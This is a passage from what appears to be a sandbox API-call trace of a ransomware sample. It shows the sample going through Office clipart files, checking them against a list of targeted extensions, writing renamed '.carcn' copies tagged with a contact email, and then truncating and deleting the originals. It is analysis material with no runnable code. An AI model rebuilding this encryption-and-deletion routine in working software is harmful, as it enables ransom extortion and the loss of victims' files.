returned 1 [0301.439] CloseHandle (hObject=0x364) returned 1 [0301.439] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.439] SetEndOfFile (hFile=0x350) returned 1 [0301.440] CloseHandle (hObject=0x350) returned 1 [0301.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0301.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0301.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0301.441] lstrlenW (lpString=".doc") returned 4 [0301.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.441] lstrlenW (lpString=".docx") returned 5 [0301.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.441] lstrlenW (lpString=".pdf") returned 4 [0301.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.441] lstrlenW (lpString=".xls") returned 4 [0301.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.441] lstrlenW (lpString=".xlsx") returned 5 [0301.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.441] lstrlenW (lpString=".ppt") returned 4 [0301.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0301.442] lstrlenW (lpString=".zip") returned 4 [0301.442] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.442] lstrlenW (lpString=".rar") returned 4 [0301.442] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.442] lstrlenW (lpString=".bz2") returned 4 [0301.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.442] lstrlenW (lpString=".7z") returned 3 [0301.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0301.442] lstrlenW (lpString=".dbf") returned 4 [0301.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0301.442] lstrlenW (lpString=".1cd") returned 4 [0301.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0301.442] lstrlenW (lpString=".jpg") returned 4 [0301.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0301.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0301.442] lstrlenW (lpString=".doc") returned 4 [0301.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.442] lstrlenW (lpString=".docx") returned 5 [0301.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.442] lstrlenW (lpString=".pdf") returned 4 [0301.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.442] lstrlenW (lpString=".xls") returned 4 [0301.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.442] lstrlenW (lpString=".xlsx") returned 5 [0301.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.443] lstrlenW (lpString=".ppt") returned 4 [0301.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0301.443] lstrlenW (lpString=".zip") returned 4 [0301.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.443] lstrlenW (lpString=".rar") returned 4 [0301.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.443] lstrlenW (lpString=".bz2") returned 4 [0301.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.443] lstrlenW (lpString=".7z") returned 3 [0301.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0301.443] lstrlenW (lpString=".dbf") returned 4 [0301.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0301.443] lstrlenW (lpString=".1cd") returned 4 [0301.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0301.443] lstrlenW (lpString=".jpg") returned 4 [0301.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.443] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.443] lstrlenW (lpString="ED00184_.WMF") returned 12 [0301.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.679] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=6958) returned 1 [0301.679] CloseHandle (hObject=0x350) returned 1 [0301.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0301.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.680] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.680] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.680] GetLastError () returned 0x0 [0301.680] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1b2e, lpOverlapped=0x0) returned 1 [0301.681] WriteFile (in: hFile=0x390, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1b30, lpOverlapped=0x0) returned 1 [0301.682] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.682] WriteFile (in: hFile=0x390, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.682] SetEndOfFile (hFile=0x390) returned 1 [0301.682] CloseHandle (hObject=0x390) returned 1 [0301.683] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.683] SetEndOfFile (hFile=0x350) returned 1 [0301.683] CloseHandle (hObject=0x350) returned 1 [0301.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0301.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0301.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0301.684] lstrlenW (lpString=".doc") returned 4 [0301.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.684] lstrlenW (lpString=".docx") returned 5 [0301.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.685] lstrlenW (lpString=".pdf") returned 4 [0301.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.685] lstrlenW (lpString=".xls") returned 4 [0301.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.685] lstrlenW (lpString=".xlsx") returned 5 [0301.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.685] lstrlenW (lpString=".ppt") returned 4 [0301.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0301.685] lstrlenW (lpString=".zip") returned 4 [0301.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.685] lstrlenW (lpString=".rar") returned 4 [0301.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.685] lstrlenW (lpString=".bz2") returned 4 [0301.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.685] lstrlenW (lpString=".7z") returned 3 [0301.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0301.685] lstrlenW (lpString=".dbf") returned 4 [0301.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0301.685] lstrlenW (lpString=".1cd") returned 4 [0301.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0301.685] lstrlenW (lpString=".jpg") returned 4 [0301.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0301.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0301.686] lstrlenW (lpString=".doc") returned 4 [0301.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.686] lstrlenW (lpString=".docx") returned 5 [0301.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.686] lstrlenW (lpString=".pdf") returned 4 [0301.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.686] lstrlenW (lpString=".xls") returned 4 [0301.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.686] lstrlenW (lpString=".xlsx") returned 5 [0301.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.686] lstrlenW (lpString=".ppt") returned 4 [0301.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0301.686] lstrlenW (lpString=".zip") returned 4 [0301.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.686] lstrlenW (lpString=".rar") returned 4 [0301.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.686] lstrlenW (lpString=".bz2") returned 4 [0301.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.686] lstrlenW (lpString=".7z") returned 3 [0301.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0301.686] lstrlenW (lpString=".dbf") returned 4 [0301.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0301.686] lstrlenW (lpString=".1cd") returned 4 [0301.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0301.687] lstrlenW (lpString=".jpg") returned 4 [0301.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.687] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.687] lstrlenW (lpString="FD00096_.WMF") returned 12 [0301.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.687] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=37390) returned 1 [0301.687] CloseHandle (hObject=0x350) returned 1 [0301.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0301.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.688] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.688] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.689] GetLastError () returned 0x0 [0301.689] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x920e, lpOverlapped=0x0) returned 1 [0301.690] WriteFile (in: hFile=0x390, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x9210, lpOverlapped=0x0) returned 1 [0301.691] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.691] WriteFile (in: hFile=0x390, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.692] SetEndOfFile (hFile=0x390) returned 1 [0301.692] CloseHandle (hObject=0x390) returned 1 [0301.692] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.692] SetEndOfFile (hFile=0x350) returned 1 [0301.693] CloseHandle (hObject=0x350) returned 1 [0301.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0301.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0301.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0301.694] lstrlenW (lpString=".doc") returned 4 [0301.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.694] lstrlenW (lpString=".docx") returned 5 [0301.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.694] lstrlenW (lpString=".pdf") returned 4 [0301.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.694] lstrlenW (lpString=".xls") returned 4 [0301.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.694] lstrlenW (lpString=".xlsx") returned 5 [0301.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.694] lstrlenW (lpString=".ppt") returned 4 [0301.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0301.694] lstrlenW (lpString=".zip") returned 4 [0301.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.694] lstrlenW (lpString=".rar") returned 4 [0301.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.694] lstrlenW (lpString=".bz2") returned 4 [0301.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.694] lstrlenW (lpString=".7z") returned 3 [0301.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0301.695] lstrlenW (lpString=".dbf") returned 4 [0301.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0301.695] lstrlenW (lpString=".1cd") returned 4 [0301.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0301.695] lstrlenW (lpString=".jpg") returned 4 [0301.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0301.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0301.695] lstrlenW (lpString=".doc") returned 4 [0301.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.695] lstrlenW (lpString=".docx") returned 5 [0301.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.695] lstrlenW (lpString=".pdf") returned 4 [0301.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.695] lstrlenW (lpString=".xls") returned 4 [0301.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.695] lstrlenW (lpString=".xlsx") returned 5 [0301.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.696] lstrlenW (lpString=".ppt") returned 4 [0301.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0301.696] lstrlenW (lpString=".zip") returned 4 [0301.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.696] lstrlenW (lpString=".rar") returned 4 [0301.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.696] lstrlenW (lpString=".bz2") returned 4 [0301.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.696] lstrlenW (lpString=".7z") returned 3 [0301.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0301.696] lstrlenW (lpString=".dbf") returned 4 [0301.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0301.696] lstrlenW (lpString=".1cd") returned 4 [0301.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0301.696] lstrlenW (lpString=".jpg") returned 4 [0301.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.696] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.696] lstrlenW (lpString="FD00296_.WMF") returned 12 [0301.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.697] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=15856) returned 1 [0301.697] CloseHandle (hObject=0x350) returned 1 [0301.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0301.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.697] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.697] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.698] GetLastError () returned 0x0 [0301.698] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x3df0, lpOverlapped=0x0) returned 1 [0301.699] WriteFile (in: hFile=0x390, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x3e00, lpOverlapped=0x0) returned 1 [0301.700] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.700] WriteFile (in: hFile=0x390, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.700] SetEndOfFile (hFile=0x390) returned 1 [0301.701] CloseHandle (hObject=0x390) returned 1 [0301.701] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.701] SetEndOfFile (hFile=0x350) returned 1 [0301.702] CloseHandle (hObject=0x350) returned 1 [0301.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 